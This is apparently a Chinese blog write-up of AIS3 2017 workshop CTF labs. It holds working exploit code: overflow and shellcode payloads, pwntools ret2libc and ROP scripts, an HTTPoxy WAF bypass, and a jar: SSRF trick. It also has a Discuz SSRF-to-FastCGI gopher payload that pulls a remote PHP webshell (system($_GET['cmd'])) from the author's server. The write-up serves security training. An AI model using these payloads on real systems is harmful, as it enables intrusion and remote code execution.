AIS3 2017 Workshop

前言

AIS3 workshop是AIS3上課的pwn跟SSRF練習平台。
因為平台好像關惹,我也懶得重搞環境打一次
所以下面解法很多都是憑著印象打出來的,有錯請見諒

lab1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdio.h>
#include <unistd.h>
void get_flag(){
int fd ;
unsigned long password;
unsigned long magic ;
char key[] = "why_my_teammate_Orange_is_so_angry??";
char cipher[] = "hahaha";
fd = open("/dev/urandom",0);
read(fd,&password,8);
printf("Give me maigc :");
scanf("%lu",&magic);
if(password == magic){
for(int i = 0 ; i < sizeof(cipher) ; i++){
printf("%c",cipher[i]^key[i]);
}
}
}
int main(){
setvbuf(stdout,0,2,0);
get_flag();
return 0 ;
}

這題他讀了一個random的的password
然後要我們輸入的magic跟他一樣才會印出flag
要繞過這個判斷
可以用gdb跑
然後先下個斷點讓他停住

1
b *0x4007a1

接著

1
set $rip=0x4007c9

讓她直接跳過判斷去執行後面指令
FLAG就會彈出來了


Practice1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
//gcc bofe4sy.c -fno-stack-protector -o bofe4sy
void l33t(){
puts("Congrat !");
system("/bin/sh");
}
int main(){
char buf[0x20];
setvbuf(stdout,0,2,0);
puts("Buffer overflow is e4sy");
printf("Read your input:");
read(0,buf,100);
return 0 ;
}

這題題目super短,一臉就是直接跳到l33t就能拿到shell的樣子
payload:

1
perl -e 'print "a"x40, "\x46\x06\x40\x00\x00\x00\x00\x00"'


Practice2

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <unistd.h>
#include <stdio.h>
#include "mysandbox.h"
char shellcode[200];
int main(){
setvbuf(stdout,0,2,0);
my_sandbox();
printf("Give me your shellcode:");
read(0,shellcode,200);
(*(void(*)())shellcode)();
}

這題就是執行我們輸入的shellcode
題目還說flag在/home/orw64/flag
就是個寫shellcode的練習

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
host = "pwnhub.tw"
port = 11112
r = remote(host, port)
context.arch = "amd64"
sc = asm("""
xor rdi, rdi
xor rsi, rsi
xor rdx, rdx
jmp str
open:
pop rdi
mov rax, 2
syscall
read:
mov rdi, rax
mov rsi, rsp
mov rdx, 0x50
xor rax, rax
syscall
mov rdx, rax
mov rsi, rsp
mov rdi, 1
mov rax, 1
syscall
exit:
mov rax, 60
syscall
str:
call open
.ascii '/home/orw64/flag'
.byte 0
""")
r.recvuntil(":")
r.send(sc)
r.interactive()


lab2

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
char name[50];
int main(){
setvbuf(stdout,0,2,0);
printf("Name:");
read(0,name,50);
char buf[30];
printf("Try your best:");
gets(buf);
return ;
}

這題就是個沒開DEP,然後塞shellcode到name
再蓋return address成name的位址
就能執行shellcode的概念

payload:

1
perl -e 'print "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05\n","a"x62, "\x80\x10\x60\x00\x00\x00\x00\x00"'

FLAG大概長這樣:AIS3{JumP_to_sh3llcod3_jUmp_t0_th3_w0rld}


lab3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void See_something(void *addr)
{
unsigned long long *address ;
address = (unsigned long long *)addr ;
printf("The content of the address : %p\n",*address);
};
int main(){
char address[10] ;
char message[256];
unsigned int addr ;
puts("###############################");
puts("Do you know return to library ?");
puts("###############################");
puts("What do you want to see in memory?");
printf("Give me an address (in hex) :");
fflush(stdout);
read(0,address,10);
addr = strtoll(address,0,16);
See_something(addr) ;
printf("Leave some message for me :");
fflush(stdout);
gets(message);
printf("%s\n",message);
puts("Thanks you ~");
return 0 ;
}

這題就是return to libc
可以先塞puts的got位址給他
他會讀出puts_got的值
我們就可以用puts_got - puts_offset算出base address
有base就輕鬆惹
system的位址 = base + system offset
再來參數塞/bin/sh的位址就能拿到shell了

然後64位元參數優先用register傳遞,跟32位元的stack抓參數不太一樣
所以我們要先找個pop rdi的gadget
把/bin/sh的位址pop到rdi裡
再跳到system位址才能拿到shell

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
puts_got = "601018"
puts_off = 0x6f690
gets_off = 0x6f440
system_off = 0x45390
sh = 0x4003c4
pop_rdi = 0x400843
r = remote('pwnhub.tw', 8088)
r.send(puts_got + "\n")
r.recvuntil('The content of the address : ')
puts_addr = r.recvline()
base = int(puts_addr,16) - puts_off
gets_addr = base + gets_off
system_addr = base + system_off
r.send("A"*280 + p64(pop_rdi) + p64(sh) + p64(system_addr) + p64(system_addr) + "\n")
r.interactive()

FLAG看起來長這樣:AIS3{ret_2_lib_1s_v3ry_coMm0n_in_r34l_w0rld}


lab4

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <unistd.h>
//gcc -fno-stack-protector -static simplerop_revenge.c -o simplerop_revenge
int main(){
char buf[20];
puts("ROP is easy is'nt it ?");
printf("Your input :");
fflush(stdout);
read(0,buf,160);
}

這題就是要我們自己組ROP拿shell
一般來說這種靜態編譯都有很多ROP gadget
可以用工具ROPgadget –binary simplerop_revenge –ropchain
來幫我們自動組Gadget拿shell
但缺點就是可能太長塞不下,所以要手動組

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
offset = 40
r = remote('pwnhub.tw',8361)
context.arch = "amd64"
# flat([0x4000,0x36]) 等同 p64(0x4000)+p64(0x36)
payload = 'a'*40
mov_drdi_rsi = 0x47a502
pop_rdi = 0x401456
pop_rsi = 0x401577
pop_rax_rdx_rbx = 0x478516
syscall = 0x4671b5
buf = 0x6c9a20
rop = flat([pop_rdi, buf, pop_rsi, "/bin/sh\x00", mov_drdi_rsi,pop_rsi,0,pop_rax_rdx_rbx,0x3b,0,0,syscall])
payload += rop
r.sendline(payload)
r.interactive()

FLAG大概長這樣:AIS3{rop_Rop_Rop_then_RIP}


lab5

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <stdlib.h>
int main(){
char buf[20];
setvbuf(stdout,0,2,0);
printf("Try your best :");
gets(buf);
puts("boom !");
}

這題題目爆幹短
思路大概是這樣,call puts_plt把puts_got的值輸出出來
然後一樣減掉puts_offset就能得到base address
接著可以再call一次main去構造我們的system(“/bin/sh”)

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
puts_got = 0x601018
puts_plt = 0x4004e0
puts_off = 0x6f690
system_off = 0x45390
sh_off = 0x18c177 #c99f
pop_rdi = 0x4006f3
main = 0x400636
r = remote('pwnhub.tw', 56026)
r.send("A"*40 + p64(main) + "\n")
r.send("A"*40 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main) + "\n")
r.recvuntil('boom !')
print r.recvline()
print r.recvline()
tmp = r.recvline().strip()
print enhex(tmp)
cool = input()
# 這裏是因為我不知道怎把抓到的位址轉成值,所以直接手動輸入ㄏㄏ python好難QQ
base = cool - puts_off
base2 = cool - puts_off
system = system_off + base2
sh = sh_off + base
r.send("A"*40 + p64(pop_rdi) + p64(sh) + p64(system) + p64(system) + "\n")
r.interactive()


bonus

這題沒給source code
objdump出來長這樣:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
./end: file format elf64-x86-64
Disassembly of section .text:
00000000004000b0 <_start>:
4000b0: 48 31 c0 xor rax,rax
4000b3: 48 31 db xor rbx,rbx
4000b6: 48 31 c9 xor rcx,rcx
4000b9: 48 31 d2 xor rdx,rdx
4000bc: 48 31 ff xor rdi,rdi
4000bf: 48 31 f6 xor rsi,rsi
4000c2: 4d 31 c0 xor r8,r8
4000c5: 4d 31 c9 xor r9,r9
4000c8: 4d 31 d2 xor r10,r10
4000cb: 4d 31 db xor r11,r11
4000ce: 4d 31 e4 xor r12,r12
4000d1: 4d 31 ed xor r13,r13
4000d4: 4d 31 f6 xor r14,r14
4000d7: 4d 31 ff xor r15,r15
4000da: 48 31 ed xor rbp,rbp
4000dd: e8 10 00 00 00 call 4000f2 <_end>
4000e2: b8 3c 00 00 00 mov eax,0x3c
4000e7: 48 31 ff xor rdi,rdi
4000ea: 48 31 f6 xor rsi,rsi
4000ed: 48 31 d2 xor rdx,rdx
4000f0: 0f 05 syscall
00000000004000f2 <_end>:
4000f2: 48 81 ec 28 01 00 00 sub rsp,0x128
4000f9: 48 89 e6 mov rsi,rsp
4000fc: ba 48 01 00 00 mov edx,0x148
400101: 0f 05 syscall
400103: 48 81 c4 28 01 00 00 add rsp,0x128
40010a: c3 ret

這題關鍵就是要構造編號(rax)322的system call: stub_execveat
他跟execve一樣可以叫出shell,底層實作似乎一樣(我沒研究就是惹…
那要怎麼讓rax變成322呢…
很簡單,因為中間會call read讀資料,只要讀322 bytes
返回值rax就會等於322
接著我們輸入的時候一開始直接輸入/bin/sh\0
因為rsi(execveat的filename)原本就是輸入buffer的開頭,也就是/bin/sh,所以也不用特別處理
唯一要注意的是execveat的其他暫存器值要清成0才能work
在這題就是要把rdx清空才行((我一開始一直沒清,想說怎麼一直拿不到shell QQ
可以直接跳到0x4000ed的xor rdx, rdx就行,而且下一行就是syscall,讚讚

payload:

1
perl -e 'print "/bin/sh","\x00","\x0a\x01\x40\x00\x00\x00\x00\x00"x38,"\xed\x00\x40\x00\x00\x00\x00\x00","\xb0\xdd"'

FLAG大概長這樣:AIS3{r0p_is_e4sy_4nd_fUn}


Bonus - HTTProxy

這題就是orange上課講的Header會被代成環境變數(加上HTTP_的prefix)
然後HTTP_Proxy又會被許多http library當成Proxy用
所以只要在我的Web Server新增這樣一個檔案: x.x.x.x/waf/index.php
內容為<?php echo 'ok'; ?>
接著curl --header 'Proxy: x.x.x.x' https://54.199.254.155/cgi-bin/?id=1
就能繞過waf惹,繞過之後直接對id做SQL injection就能拿到FLAG
hitcon{Did you know httpoxy.org?}


Bonus - Jar

這題有一個可以送出URL的地方
這裡可以SSRF,而且file://可以遍歷目錄
然後仔細觀察可以發現他有個?page=orange的參數
他會去load users/orange.tmp這個檔案

這題就是要利用到jar協議的特性
塞給他一個jar:形式的網址,他會去抓這個檔案做暫存,但是抓完就會刪除暫存
所以就是要想辦法塞給他惡意檔案,然後讓他抓完之後不立刻結束連線
再想辦法去跑這個暫存檔
這裡我是用https://github.com/pwntester/BlockingServer
在機器x.x.x.x上新建kaibro.php
跑Blocking Server: java BlokingServer 12345 kaibro.php
URL的地方塞jar:http://x.x.x.x:12345/kaibro.php!/讓它卡住
再來用file:///tmp/去看暫存檔的名字,可能檔名叫jar_cache123456.tmp之類的
然後利用?page=../../../../../../tmp/jar_cache123456就可以跑我們的php囉

FLAG長這樣:hitcon{Life so hard :(}

Bonus - Discuz Pwn

Discuz因為感覺會很難所以沒解,剩下其他題的話解法應該Google都找得到(?



Update:
後來太無聊,跑去架了一樣的Discuz環境打打看
基本上,orange上課的投影片就已經是解法了XDD

因為_dfsockopen實作中,有FOLLOWLOCATION
所以可以利用SSRF 302跳轉的方式去偽造FastCGI協議

在我自己的Server上,建立一個302.php:

1
2
<?php
header( "Location: gopher://127.0.0.1:9000/x%01%01Zh%00%08%00%00%00%01%00%00%00%00%00%00%01%04Zh%00%8b%00%00%0E%03REQUEST_METHODGET%0F%0FSCRIPT_FILENAME/www//index.php%0F%16PHP_ADMIN_VALUEallow_url_include%20=%20On%09%26PHP_VALUEauto_prepend_file%20=%20http://kaibro.tw/x%01%04Zh%00%00%00%00%01%05Zh%00%00%00%00" );

這一整串噁心的東西,主要就是在偽造FastCGI協議
然後讓他去include我Server上的php script (http://kaibro.tw/x)

Server上的x:

1
<?php system($_GET['cmd']); ?>

然後訪問http://thisdiscuzsite/forum.php?mod=ajax&action=downremoteimg&message=[img]http://kaibro.tw/302.php?.jpg[/img]
它就會成功include我們的x進來
也就可以執行webshell惹